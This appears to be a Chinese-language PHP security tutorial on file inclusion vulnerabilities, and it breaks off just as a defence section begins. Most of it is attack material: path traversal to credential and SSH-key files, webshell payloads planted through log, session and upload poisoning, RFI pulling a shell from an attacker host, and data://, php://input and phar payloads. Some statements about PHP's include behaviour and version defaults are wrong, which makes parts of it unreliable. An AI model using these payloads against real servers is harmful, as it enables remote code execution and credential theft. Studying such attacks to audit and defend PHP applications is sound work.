文件包含漏洞(File Inclusion)是PHP应用中最具破坏性的漏洞类型之一。在审计过程中,我发现很多开发者低估了这类漏洞的危害------他们认为"只是读取文件"。实际上,文件包含可以直接升级为远程代码执行(RCE),突破几乎所有应用层防护。
这篇文章会系统拆解文件包含的完整攻击面:从基础原理到高级利用,从本地包含到远程包含,从传统攻击到现代绕过技术。更重要的是,我会讲清楚为什么某些防御措施看似有效但实际上可被绕过。
核心术语速查:
- LFI (Local File Inclusion): 包含服务器本地文件
- RFI (Remote File Inclusion): 包含远程服务器文件
- 流包装器 (Stream Wrapper): PHP处理不同数据源的统一接口
- 路径穿越 (Path Traversal) : 使用
../等方式访问目录外的文件
1. 文件包含漏洞的本质
1.1 核心概念解析
什么是文件包含
定义: 文件包含是指PHP代码在运行时动态引入外部文件的机制。当包含的文件路径由用户输入控制时,就产生了文件包含漏洞。
通俗类比: 把文件包含想象成"复制粘贴代码":
include/require就像在当前位置插入另一个文件的全部内容- 如果被包含的文件是PHP代码,会立即在当前作用域执行
- 如果被包含的文件不是PHP,PHP也会尝试解析(除非是纯文本)
心智模型: 文件包含 = 动态代码加载 + 作用域继承 + 执行权限继承
PHP包含函数家族:
php
include($file); // 包含失败时警告,继续执行
include_once($file); // 同上,但同一文件只包含一次
require($file); // 包含失败时致命错误,停止执行
require_once($file); // 同上,但同一文件只包含一次
关键区别:
| 函数 | 失败行为 | 重复包含 | 常见用途 |
|---|---|---|---|
include |
警告,继续执行 | 允许 | 可选模块 |
include_once |
警告,继续执行 | 防止 | 类定义文件 |
require |
致命错误,停止 | 允许 | 必需文件 |
require_once |
致命错误,停止 | 防止 | 配置文件 |
为什么危险:
- 代码执行能力: 被包含的PHP代码会在当前作用域执行
- 路径可控性: 用户控制包含路径时,可读取任意文件或注入代码
- 作用域继承: 被包含代码继承当前变量环境,可能劫持敏感变量
- 扩展名无关: 即使文件扩展名不是
.php,仍会被解析执行
漏洞分类
本地文件包含(LFI - Local File Inclusion):
- 定义: 包含服务器本地文件系统中的文件
- 典型场景: 读取配置文件、日志文件,或包含可控内容的文件
- 风险等级: 🟡 中高(取决于是否有可控文件内容)
- 常见目标:
/etc/passwd, 日志文件, Session文件, 上传的文件
远程文件包含(RFI - Remote File Inclusion):
- 定义: 包含远程服务器上的文件(通过HTTP/FTP等协议)
- 典型场景: 包含攻击者控制的恶意PHP文件
- 风险等级: 🔴 极高(直接RCE)
- 配置依赖: 需要
allow_url_include=On
核心区别对比:
| 特性 | LFI | RFI |
|---|---|---|
| 文件来源 | 本地文件系统 | 远程服务器 |
| 利用难度 | 中等(需找到可控内容文件) | 低(攻击者完全控制) |
| 配置依赖 | 无特殊要求 | 需要 allow_url_include=On |
| 危害程度 | 信息泄露→RCE | 直接RCE |
| 检测难度 | 中等 | 较易 |
1.2 文件包含与PHP执行模型
执行流程详解:
1. 用户请求到达
↓
2. PHP解析器开始处理
↓
3. 遇到 include/require 语句
↓
4. [关键点A] 解析文件路径
- 处理相对/绝对路径
- 支持 ../ 路径穿越
- 支持伪协议(php://, data://, etc.)
↓
5. [关键点B] 读取文件内容
- 从文件系统或流包装器读取
- 不验证文件扩展名
↓
6. [关键点C] 将内容作为PHP代码执行
- 在当前作用域执行
- 继承所有变量和函数
↓
7. 继续执行后续代码
核心风险点分析:
风险点A: 路径解析阶段
php
// PHP会解析的路径类型
include('/var/www/pages/home.php'); // 绝对路径
include('pages/home.php'); // 相对路径
include('../../etc/passwd'); // 路径穿越
include('php://filter/resource=/etc/passwd'); // 伪协议
风险点B: 内容读取阶段
php
// PHP不关心文件扩展名
include('shell.txt'); // .txt 文件也会被执行
include('image.jpg'); // .jpg 文件如果包含PHP代码也会执行
include('data.xml'); // .xml 文件同样会被解析
风险点C: 代码执行阶段
php
// 被包含文件继承当前作用域
$secret_key = 'super_secret';
include($_GET['page']);
// 如果 $_GET['page'] = 'malicious.php'
// malicious.php 中的代码可以访问 $secret_key
示例: 完整攻击流程
php
// 脆弱代码
$page = $_GET['page'] ?? 'home';
include("/var/www/pages/$page.php");
攻击1: 路径穿越
请求: ?page=../../etc/passwd
结果: include("/var/www/pages/../../etc/passwd.php")
简化: include("/etc/passwd.php")
尝试: 先尝试/etc/passwd.php,失败后尝试/etc/passwd
攻击2: NULL字节注入(PHP < 5.3.4)
请求: ?page=../../etc/passwd%00
结果: include("/var/www/pages/../../etc/passwd%00.php")
处理: %00(NULL字节)截断后面的.php
实际: include("/var/www/pages/../../etc/passwd")
攻击3: 伪协议利用
请求: ?page=php://filter/convert.base64-encode/resource=/etc/passwd
结果: include("php://filter/convert.base64-encode/resource=/etc/passwd.php")
处理: php://filter 读取/etc/passwd并Base64编码
输出: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA==...
1.3 为什么文件包含特别危险
心智模型: 文件包含是"输入验证失败"的最坏情况,因为它结合了三种风险:
风险1: 信息泄露 (Information Disclosure)
- 能力: 读取任何PHP进程有权限访问的文件
- 目标: 配置文件、源代码、密钥、数据库凭证
- 影响: 为进一步攻击提供关键信息
风险2: 代码注入 (Code Injection)
- 能力: 如果能控制被包含文件的内容
- 方法: 日志投毒、上传文件、Session劫持
- 影响: 执行任意PHP代码
风险3: 权限继承 (Privilege Inheritance)
- 能力: 被包含代码运行在Web进程权限下
- 方法: 访问当前会话的所有变量和资源
- 影响: 完全控制应用程序上下文
真实影响示例:
php
// 场景: 包含配置文件
$module = $_GET['module'] ?? 'main';
include($module . '.php');
// 攻击: ?module=../../../../var/www/config/database
// 如果 database.php 包含:
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'P@ssw0rd123!';
$db_name = 'production_db';
?>
// 后果分析:
// 1. 这些变量现在在当前作用域可用
// 2. 后续代码可以使用这些凭证
// 3. 攻击者可能通过错误信息、调试输出等获取这些值
// 4. 如果存在其他漏洞(如phpinfo()),凭证会被直接暴露
1.4 版本差异的安全影响
PHP版本对文件包含的关键影响:
| PHP版本 | 关键变化 | 安全影响 | 攻击技术变化 |
|---|---|---|---|
| 5.3.4+ | 修复NULL字节截断 | %00绕过失效 |
需寻找其他绕过方法 |
| 5.4+ | 默认关闭 allow_url_include |
RFI攻击面减小 | 转向LFI+日志投毒等 |
| 7.0+ | 移除历史遗留特性 | 某些老技巧失效 | 攻击更依赖应用逻辑 |
| 7.2+ | 加强路径解析安全性 | 路径穿越变种减少 | 需更精确的payload |
实战提醒:
在审计时,务必确认目标PHP版本。同样的payload在不同版本中效果可能完全不同。版本识别是成功利用的第一步。
版本检测方法:
php
// 方法1: 直接访问phpinfo()
// 查找 phpinfo.php 或类似页面
// 方法2: 错误信息泄露
// 触发错误,观察错误信息中的版本号
// 方法3: HTTP响应头
X-Powered-By: PHP/7.4.3
// 方法4: 特定函数测试
// 某些函数只在特定版本存在
2. 本地文件包含(LFI)攻击链
2.1 基础LFI利用
2.1.1 直接路径穿越
定义: 路径穿越(Path Traversal)是利用../等序列访问目标目录之外的文件的技术。
通俗类比: 就像在文件管理器中点"上一级"按钮,不断往上走直到找到想要的文件。
php
// 脆弱代码
$page = $_GET['page'];
include("pages/$page.php");
攻击向量:
?page=../../../../etc/passwd
路径解析过程详解:
原始路径: pages/../../../../etc/passwd.php
步骤1 - 拼接: pages/../../../etc/passwd.php
步骤2 - 规范化:
pages/.. → (取消) → 根目录
../ → 上一级
../ → 再上一级
../ → 再上一级
步骤3 - 结果: /etc/passwd.php
步骤4 - PHP处理:
先尝试: /etc/passwd.php (不存在)
然后尝试: /etc/passwd (存在!)
最终: 成功包含 /etc/passwd
为什么有效:
- PHP的
include会忽略不存在的.php后缀 - 路径规范化在包含前自动发生
- 不检查最终路径是否在预期目录内
2.1.2 有扩展名强制时的绕过
场景: 开发者试图通过添加固定扩展名来限制包含
php
// "安全"措施: 强制.jpg扩展名
$file = $_GET['file'];
include("uploads/$file.jpg");
绕过方法1: NULL字节截断(PHP < 5.3.4)
请求: ?file=shell.php%00
处理流程:
1. 拼接: uploads/shell.php%00.jpg
2. NULL字节: %00 截断后续字符
3. 实际包含: uploads/shell.php
4. 执行: shell.php 中的PHP代码
技术解释:
- C语言中,字符串以\0(NULL字节)结尾
- PHP底层调用C函数时会被截断
- %00 是NULL字节的URL编码形式
为什么现代PHP已修复:
php
// PHP 5.3.4+
include("uploads/shell.php\0.jpg");
// 错误: Filename cannot contain null bytes
绕过方法2: 利用已存在的合法文件(现代PHP)
假设上传目录下真的有: shell.php.jpg
请求: ?file=shell.php
拼接: uploads/shell.php.jpg
结果: 该文件被包含并执行(即使扩展名是.jpg)
关键: PHP不关心扩展名,只要文件内容包含<?php标签就会执行
绕过方法3: 路径穿越+已知文件
请求: ?file=../../var/log/apache2/access.log
拼接: uploads/../../var/log/apache2/access.log.jpg
规范化: /var/log/apache2/access.log.jpg (不存在)
尝试: /var/log/apache2/access.log (可能存在!)
如果日志文件被投毒(包含PHP代码),则RCE成功
2.2 信息收集: 读取敏感文件
2.2.1 Linux系统常见目标文件
系统配置文件:
| 文件路径 | 内容 | 安全价值 |
|---|---|---|
/etc/passwd |
用户列表 | 枚举用户名,识别服务账户 |
/etc/shadow |
密码哈希 | 需root权限,通常无法访问 |
/etc/group |
组信息 | 理解权限结构 |
/etc/hosts |
主机映射 | 发现内网主机 |
/etc/resolv.conf |
DNS配置 | 识别DNS服务器 |
/etc/ssh/sshd_config |
SSH配置 | 识别SSH设置 |
Web服务器配置:
Apache:
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/.htpasswd
/var/log/apache2/access.log
/var/log/apache2/error.log
Nginx:
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/var/log/nginx/access.log
/var/log/nginx/error.log
PHP配置:
/etc/php/7.4/fpm/php.ini
/etc/php/7.4/cli/php.ini
应用配置文件:
通用框架:
/var/www/html/.env - Laravel等框架环境配置
/var/www/html/config.php - 自定义配置
/var/www/html/wp-config.php - WordPress
/var/www/html/configuration.php - Joomla
/var/www/html/config/database.yml - Symfony
数据库配置:
/var/www/html/includes/config.php
/var/www/html/application/config/database.php
敏感文件:
SSH密钥:
/root/.ssh/id_rsa
/home/user/.ssh/id_rsa
/home/user/.ssh/authorized_keys
历史记录:
/root/.bash_history
/home/user/.bash_history
/home/user/.mysql_history
临时文件:
/tmp/sess_* - PHP Session文件
/var/lib/php/sessions/sess_*
进程信息(/proc伪文件系统):
/proc/self/environ - 当前进程环境变量
/proc/self/cmdline - 当前进程命令行
/proc/self/status - 进程状态
/proc/self/fd/[0-9]* - 文件描述符
/proc/self/cwd - 当前工作目录(符号链接)
/proc/version - 内核版本
/proc/cpuinfo - CPU信息
2.2.2 Windows系统常见目标
系统文件:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System.ini
IIS配置:
C:\inetpub\wwwroot\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
应用配置:
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\bin\my.ini
C:\xampp\phpMyAdmin\config.inc.php
2.3 日志文件投毒(Log Poisoning)
核心原理:
定义: 日志投毒(Log Poisoning)是向日志文件中注入恶意代码,然后通过LFI包含该日志文件来执行代码的技术。
通俗类比: 就像往别人的笔记本里夹私货,等他翻看笔记时触发机关。
心智模型: 日志投毒 = 可控写入 + 可预测路径 + 文件包含
2.3.1 Apache访问日志投毒
完整攻击流程:
步骤1: 识别日志路径
php
// 尝试包含常见日志路径
?page=../../../../var/log/apache2/access.log
?page=../../../../var/log/httpd/access_log
?page=../../../../var/log/apache/access.log
步骤2: 投毒日志
技术原理: Apache访问日志会记录完整的HTTP请求,包括请求路径。我们可以在请求路径中注入PHP代码。
http
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
日志中的记录:
192.168.1.100 - - [27/Jan/2026:10:30:45 +0000] "GET /<?php system($_GET['cmd']); ?> HTTP/1.1" 404 1234 "-" "Mozilla/5.0"
步骤3: 触发执行
?page=../../../../var/log/apache2/access.log&cmd=whoami
执行流程详解:
1. include('/var/log/apache2/access.log')
2. PHP解析器读取日志文件
3. 遇到 <?php system($_GET['cmd']); ?>
4. 在当前作用域执行该代码
5. $_GET['cmd'] = 'whoami'
6. system('whoami') 被执行
7. 输出: www-data
为什么有效:
- Apache日志默认不转义PHP标签
- 请求路径被原样记录
- include会解析文件中的任何PHP代码
- 日志文件通常对Web用户可读
常见问题与解决:
问题1: 日志文件过大
解决: 日志投毒后立即利用,或等待日志轮转
日志轮转机制:
- access.log (当前)
- access.log.1 (昨天)
- access.log.2.gz (前天,已压缩)
攻击时机: 日志刚轮转后,文件较小,包含速度快
问题2: 日志权限不可读
检查:
ls -la /var/log/apache2/
-rw-r----- 1 root adm 12345 Jan 27 10:30 access.log
如果Web用户不在adm组,无法读取
尝试其他日志或攻击路径
2.3.2 其他可投毒的日志
SSH日志投毒:
bash
# 尝试SSH登录,用户名包含PHP代码
ssh '<?php system($_GET["c"]); ?>'@target.com
# SSH日志 /var/log/auth.log 会记录:
Jan 27 10:35:22 server sshd[1234]: Failed password for <?php system($_GET["c"]); ?> from 192.168.1.100 port 54321 ssh2
利用:
?page=../../../../var/log/auth.log&c=id
优势: auth.log通常更容易读取
邮件日志投毒:
php
// 如果应用有邮件功能
$to = "admin@target.com";
$subject = "<?php system(\$_GET['c']); ?>";
$message = "Test email";
mail($to, $subject, $message);
// 邮件日志 /var/log/mail.log 会记录主题
FTP日志投毒:
bash
# FTP登录尝试
ftp target.com
Name: <?php system($_GET["c"]); ?>
# 日志记录在 /var/log/vsftpd.log 或 /var/log/xferlog
User-Agent投毒(某些应用):
http
GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['c']); ?>
# 某些应用会记录User-Agent到自定义日志
2.4 Session文件包含
核心原理:
定义: PHP的Session数据通常存储在文件中,文件名格式为sess_[SESSION_ID]。如果能控制Session内容并知道Session ID,就可以通过LFI包含Session文件执行代码。
Session文件默认位置:
Linux:
/var/lib/php/sessions/sess_[SESSION_ID]
/var/lib/php5/sess_[SESSION_ID]
/tmp/sess_[SESSION_ID]
Windows:
C:\Windows\Temp\sess_[SESSION_ID]
C:\xampp\tmp\sess_[SESSION_ID]
攻击步骤详解:
步骤1: 投毒Session
php
// 应用代码
session_start();
$_SESSION['username'] = $_POST['username'];
恶意请求:
http
POST /login.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=abc123def456
username=<?php system($_GET['cmd']); ?>
Session文件内容:
# /tmp/sess_abc123def456
username|s:32:"<?php system($_GET['cmd']); ?>";
步骤2: 包含Session文件
?page=../../../../tmp/sess_abc123def456&cmd=whoami
关键问题: Session序列化格式
术语解释:
- 序列化处理器 (Serialization Handler): PHP用于编码/解码Session数据的方法
- php格式 : 默认格式,使用
key|type:length:value - php_serialize格式: 使用标准PHP序列化格式
PHP Session有三种序列化格式,影响能否注入代码:
| 格式 | 配置项 | 注入可能性 | 示例 |
|---|---|---|---|
| php | session.serialize_handler=php |
✅ 可能 | `name |
| php_binary | session.serialize_handler=php_binary |
❌ 难 | 二进制格式 |
| php_serialize | session.serialize_handler=php_serialize |
❌ 难 | a:1:{s:4:"name";s:5:"value";} |
默认格式(php)下的注入:
# Session内容
username|s:32:"<?php system($_GET['cmd']); ?>";
# 包含时PHP会解析:
// username变量被设置为 <?php system($_GET['cmd']); ?>
// 但字符串中的<?php 仍会被解析!
php_serialize格式的防御:
php
// 配置(PHP 5.5.4+)
ini_set('session.serialize_handler', 'php_serialize');
// Session内容
a:1:{s:8:"username";s:32:"<?php system($_GET['cmd']); ?>";}
// <?php 被当作字符串数据,不会执行
防御建议:
php
// 1. 使用php_serialize格式
ini_set('session.serialize_handler', 'php_serialize');
// 2. 验证和清理Session输入
function sanitizeSessionData($data) {
// 移除PHP标签
$data = preg_replace('/<\?php.*?\?>/', '', $data);
$data = str_replace(['<?', '?>'], '', $data);
return $data;
}
// 3. 验证Session数据类型
$_SESSION['username'] = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
2.5 上传文件包含
核心原理:
当应用允许用户上传文件,并且上传目录可通过LFI访问时,攻击者可以上传包含恶意PHP代码的文件,然后通过文件包含执行。
攻击步骤:
步骤1: 上传恶意文件
http
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
步骤2: 包含上传的文件
?page=../../../../uploads/avatar.jpg&cmd=whoami
为什么有效:
- PHP不检查文件扩展名
include会解析文件中的<?php ?>标签- 上传的文件通常存储在可预测的位置
常见上传绕过技术:
php
// 绕过1: 双重扩展名
shell.php.jpg
// 绕过2: 空字节截断(PHP < 5.3.4)
shell.php%00.jpg
// 绕过3: 可执行扩展名混淆
shell.php.
shell.php%20
shell.php%0a
// 绕过4: MIME类型欺骗
Content-Type: image/jpeg
// 绕过5: 图片马 - 在真实图片中插入PHP代码
图片马制作:
bash
# 方法1: 直接追加
cat shell.php >> image.jpg
# 方法2: 使用exiftool
exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg
# 方法3: 使用GIF分隔符
echo 'GIF89a' > shell.gif
echo '<?php system($_GET["c"]); ?>' >> shell.gif
防御措施:
php
class SecureFileUpload {
private string $uploadDir;
private array $allowedMimeTypes = [
'image/jpeg',
'image/png',
'image/gif'
];
public function __construct(string $uploadDir) {
$this->uploadDir = rtrim($uploadDir, '/');
}
public function upload(array $file): string {
// 1. 验证MIME类型
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($file['tmp_name']);
if (!in_array($mimeType, $this->allowedMimeTypes, true)) {
throw new InvalidArgumentException('Invalid file type');
}
// 2. 验证文件扩展名
$ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
$allowedExts = ['jpg', 'jpeg', 'png', 'gif'];
if (!in_array($ext, $allowedExts, true)) {
throw new InvalidArgumentException('Invalid extension');
}
// 3. 验证MIME和扩展名匹配
$mimeExtMap = [
'image/jpeg' => ['jpg', 'jpeg'],
'image/png' => ['png'],
'image/gif' => ['gif']
];
if (!in_array($ext, $mimeExtMap[$mimeType], true)) {
throw new InvalidArgumentException('MIME type mismatch');
}
// 4. 检查文件内容是否包含PHP代码
$content = file_get_contents($file['tmp_name']);
if (preg_match('/<\?php|<\?|\?>|eval\(|system\(/i', $content)) {
throw new SecurityException('PHP code detected in image');
}
// 5. 生成安全的文件名
$newFilename = $this->generateSafeFilename($ext);
$destination = $this->uploadDir . '/' . $newFilename;
// 6. 移动文件
if (!move_uploaded_file($file['tmp_name'], $destination)) {
throw new RuntimeException('Failed to move uploaded file');
}
// 7. 设置正确的权限
chmod($destination, 0644);
return $newFilename;
}
private function generateSafeFilename(string $ext): string {
return bin2hex(random_bytes(16)) . '.' . $ext;
}
}
3. 远程文件包含(RFI)利用技术
3.1 RFI基础
核心概念:
RFI(Remote File Inclusion)允许攻击者包含远程服务器上的文件,这是最危险的文件包含形式,因为攻击者完全控制被包含的文件内容。
配置要求:
ini
; php.ini 配置
allow_url_include = On # 必须开启
allow_url_fopen = On # 通常默认开启
版本差异:
| PHP版本 | allow_url_include默认值 | 安全影响 |
|---|---|---|
| 5.x | Off(但很多环境开启) | RFI仍然常见 |
| 7.0+ | Off | 默认安全,但需确认 |
| 8.0+ | 废弃该选项 | RFI技术上不可用 |
基础RFI攻击:
php
// 脆弱代码
$page = $_GET['page'];
include($page . '.php');
攻击请求:
?page=http://attacker.com/shell
攻击者的shell.php内容:
php
<?php
system($_GET['cmd']);
?>
执行流程:
1. 请求: ?page=http://attacker.com/shell
2. 拼接: http://attacker.com/shell.php
3. PHP通过HTTP获取文件
4. 包含并执行远程PHP代码
5. 攻击者完全控制执行
3.2 RFI进阶技术
3.2.1 绕过后缀追加
场景: 代码自动添加.php后缀
php
$page = $_GET['page'];
include($page . '.php');
绕过方法1: URL中的问号
?page=http://attacker.com/shell?
原理:
拼接结果: http://attacker.com/shell?.php
HTTP请求:
GET http://attacker.com/shell?.php HTTP/1.1
服务器解析:
- 路径: /shell
- 查询参数: .php (被忽略)
- 返回: shell.php的内容(没有.php后缀的实际文件)
绕过方法2: URL中的井号
?page=http://attacker.com/shell%23
URL解码:
%23 → #
拼接: http://attacker.com/shell#.php
井号的作用:
HTTP中,#是片段标识符(Fragment Identifier)
服务器不会处理#后面的内容
# 及其后的 .php 被浏览器/客户端忽略
绕过方法3: 路径穿越
?page=http://attacker.com/shell.php/../../evil
原理:
拼接: http://attacker.com/shell.php/../../evil.php
某些Web服务器可能:
1. 只关注最后一个路径段
2. 解析为 shell.php
3.2.2 利用伪协议进行RFI
虽然php://是本地伪协议,但可以配合其他技术:
php
// 利用data://伪协议(如果allow_url_include=On)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
解码:
base64: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
原文: <?php system($_GET['cmd']); ?>
执行:
php
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+=');
// 直接执行base64编码的PHP代码
3.3 RFI的限制与绕过
限制1: 远程文件必须返回PHP代码
php
// 如果远程服务器是纯静态文件服务器
// 并且.php文件被解析后返回结果而非源代码
// 则RFI可能失败
绕过方法:
- 配置远程服务器不解析PHP
apache
# 在攻击者服务器的Apache配置
<Files "shell.php">
SetHandler default-handler
RemoveHandler .php
</Files>
-
使用.txt或其他扩展名
-
修改Content-Type
php
<?php
header('Content-Type: text/plain');
echo '<?php system($_GET["cmd"]); ?>';
?>
限制2: HTTPS证书验证
php
// 如果使用HTTPS,PHP可能验证SSL证书
$page = 'https://attacker.com/shell';
绕过方法:
php
// 禁用SSL验证(攻击者无法控制目标)
// 这需要在目标服务器上配置,通常不可行
限制3: 防火墙/网络限制
- 目标服务器可能限制出站HTTP连接
- 内网隔离可能阻止访问公网
3.4 RFI vs LFI 总结
| 特性 | LFI | RFI |
|---|---|---|
| 配置要求 | 无特殊要求 | allow_url_include=On |
| 攻击难度 | 中等 | 低 |
| 危害程度 | 信息泄露 → RCE | 直接RCE |
| 检测难度 | 中等 | 容易 |
| 现代PHP | 仍然有效 | 大多被禁用 |
| 利用条件 | 需要可控文件 | 只需HTTP访问 |
实战建议:
在现代PHP环境中(7.0+),RFI较为少见,因为
allow_url_include默认关闭。但LFI仍然是一个严重威胁,因为可以通过日志投毒、Session劫持等方式升级为RCE。
4. PHP伪协议完整剖析
PHP伪协议(Protocol Wrappers)是PHP处理不同数据源的统一接口,在文件包含攻击中扮演重要角色。
4.1 伪协议基础
什么是伪协议:
定义: PHP中的伪协议是一种特殊的URL语法,用于访问不同类型的数据源,如文件、HTTP、数据流等。
心智模型: 伪协议就像"统一的数据插座",无论数据来自文件、网络、内存还是压缩包,都可以用相同的接口访问。
为什么重要: 伪协议大大扩展了文件包含的攻击面,使得攻击者能够:
- 读取任意文件内容
- 绕过某些过滤机制
- 执行任意代码
4.2 完整伪协议清单
| 协议 | 用途 | 需要配置 | 典型用途 |
|---|---|---|---|
| file:// | 访问本地文件系统 | 无 | file:///etc/passwd |
| php:// | 访问PHP流 | 无 | 输入/输出访问 |
| data:// | 数据流 | allow_url_include=On |
直接数据执行 |
| http:// | HTTP访问 | allow_url_fopen=On |
远程文件包含 |
| https:// | HTTPS访问 | allow_url_fopen=On |
安全远程包含 |
| ftp:// | FTP访问 | allow_url_fopen=On |
FTP文件获取 |
| zlib:// | 压缩流 | 无 | compress.zlib:// |
| glob:// | 文件匹配 | 无 | 目录遍历 |
| phar:// | PHP归档 | 无 | 归档文件执行 |
| ssh2:// | SSH2连接 | 需ssh2扩展 | 远程文件访问 |
4.3 php:// 伪协议详解
php://是最强大的伪协议系列,提供多种访问PHP内部数据的方式。
4.3.1 php://filter
用途: 读取文件并进行过滤/转换
语法:
php://filter/<filter>/<parameter>=<value>/resource=<target>
常见过滤器:
| 过滤器 | 功能 | 攻击用途 |
|---|---|---|
| read=convert.base64-encode | Base64编码 | 读取任意文件内容 |
| read=convert.base64-decode | Base64解码 | 解码数据 |
| read=string.rot13 | ROT13编码 | 绕过检测 |
| read=string.toupper | 转大写 | 代码混淆 |
| read=string.tolower | 转小写 | 代码混淆 |
| read=convert.quoted-printable-encode | QP编码 | 绕过检测 |
| write=string.rot13 | ROT13写入 | 写入混淆文件 |
基础用法:
php
// 读取文件并Base64编码
?page=php://filter/convert.base64-encode/resource=/etc/passwd
为什么使用Base64:
不使用Base64:
include('/etc/passwd');
- PHP尝试解析为PHP代码
- 可能失败或只显示部分内容
使用Base64:
include('php://filter/convert.base64-encode/resource=/etc/passwd');
- 读取并编码
- 显示完整的Base64内容
- 攻击者可以解码获取完整文件
实际输出示例:
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoMTpM
PWRhZW1vbjovcm9vdDovc2Jpbi9ubG9naW4KYmluOng6MjoyOmJpbjovYml...
攻击流程:
bash
# 1. 获取Base64编码的内容
curl "http://target.com/?page=php://filter/convert.base64-encode/resource=config.php"
# 2. 解码
echo "cm9vdDp4..." | base64 -d
# 3. 获取敏感信息
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'P@ssw0rd123';
?>
高级过滤器链:
php
// 多个过滤器可以组合使用
?page=php://filter/read=string.rot13|convert.base64-encode/resource=config.php
组合示例:
| 过滤器链 | 效果 |
|---|---|
convert.base64-encode |
读取PHP文件源码 |
| `string.toupper | convert.base64-encode` |
| `convert.iconv.UTF-8.UTF-16 | convert.base64-encode` |
4.3.2 php://input
用途: 访问原始POST数据
前提条件:
ini
; php.ini
allow_url_include = On # 通常需要
使用场景:
php
// 脆弱代码
$page = $_GET['page'];
include($page);
攻击方式:
http
POST /?page=php://input HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
<?php system('whoami'); ?>
执行流程:
1. 请求包含 ?page=php://input
2. POST body包含PHP代码
3. include('php://input') 读取POST body
4. PHP代码被执行
限制:
- 需要
allow_url_include=On - 通常只对POST请求有效
- 某些WAF会检测
php://input
4.3.3 php://stdout 和 php://stderr
用途: 访问输出流
攻击价值: 有限,主要用于:
php
// 重定向输出
ob_start('system');
include('php://filter/read=string.rot13/resource=php://input');
4.3.4 php://fd
用途: 访问文件描述符
攻击示例:
php
// 访问进程的文件描述符
?page=php://fd/3
场景:
- 如果进程打开了敏感文件
- 文件描述符可能暴露内容
实际例子:
php
// 某些应用可能:
$fp = fopen('/etc/passwd', 'r');
// 文件描述符可能是3
// 攻击者可以访问:
include('php://fd/3');
4.4 data:// 伪协议
用途: 直接在URL中嵌入数据
语法:
data://<mime-type>;base64,<data>
基础用法:
php
// 纯文本
?page=data://text/plain,<?php system('whoami'); ?>
// Base64编码
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
完整攻击示例:
http
GET /?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id HTTP/1.1
Host: target.com
解码:
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ (Base64)
↓
<?php system($_GET['cmd']); ?>
限制:
- 需要
allow_url_include=On - URL长度限制 - 某些服务器限制URL长度
- 特殊字符编码 - 需要URL编码
编码技巧:
php
// 编码PHP代码为Base64
$code = '<?php system($_GET["cmd"]); ?>';
$encoded = base64_encode($code);
// PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8=
// URL编码特殊字符
$url = 'data://text/plain;base64,' . urlencode($encoded);
4.5 file:// 伪协议
用途: 访问本地文件系统
语法:
file://<absolute_path>
使用示例:
php
?page=file:///etc/passwd
与直接路径的区别:
php
// 这两种方式通常等效
include('/etc/passwd');
include('file:///etc/passwd');
// 但file://在某些过滤绕过中可能有用
include('file://' . $_GET['file']);
路径穿越:
php
?page=file:///etc/passwd
?page=file:///var/www/html/config.php
?page=file:///proc/self/environ
4.6 phar:// 伪协议
用途: 访问PHP归档文件
什么是PHAR:
定义: PHAR(PHP Archive)是PHP的归档格式,类似于JAR for Java,可以将整个PHP应用打包成单个文件。
攻击价值: 即使没有文件上传漏洞,如果存在LFI,攻击者可能通过PHAR执行代码。
PHAR结构:
phar://archive.phar/file_inside.php
创建恶意PHAR:
php
<?php
// create_phar.php
class Evil {
function __destruct() {
system($_GET['cmd']);
}
}
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test content');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new Evil());
$phar->stopBuffering();
?>
利用:
?page=phar:///path/to/evil.phar/test.txt&cmd=whoami
注意: 这需要反序列化漏洞配合,是PHAR反序列化攻击的一部分。
4.7 compress.zlib:// 和 compress.bzip2://
用途: 访问压缩文件
语法:
compress.zlib://file.gz
compress.bzip2://file.bz2
攻击场景:
php
// 如果应用包含日志文件,而日志被压缩
?page=compress.zlib:///var/log/apache2/access.log.gz
绕过检测:
php
// Base64编码+压缩
?page=php://filter/compress.zlib/convert.base64-encode/resource=config.php
4.8 伪协议组合攻击
组合1: 读取PHP源码
php
?page=php://filter/convert.base64-encode/resource=config.php
组合2: 绕过黑名单
php
// 假设黑名单禁止 .php 后缀
?page=php://filter/read=string.rot13/resource=config.qrp
// .qrp 是 .php 的 ROT13
组合3: 多层编码
php
?page=php://filter/read=convert.iconv.UTF-8.UTF-16|convert.base64-encode/resource=index.php
组合4: 压缩+编码
php
?page=php://filter/compress.zlib|convert.base64-encode/resource=database.php
4.9 伪协议检测与防御
检测伪协议使用:
php
// 检测是否使用伪协议
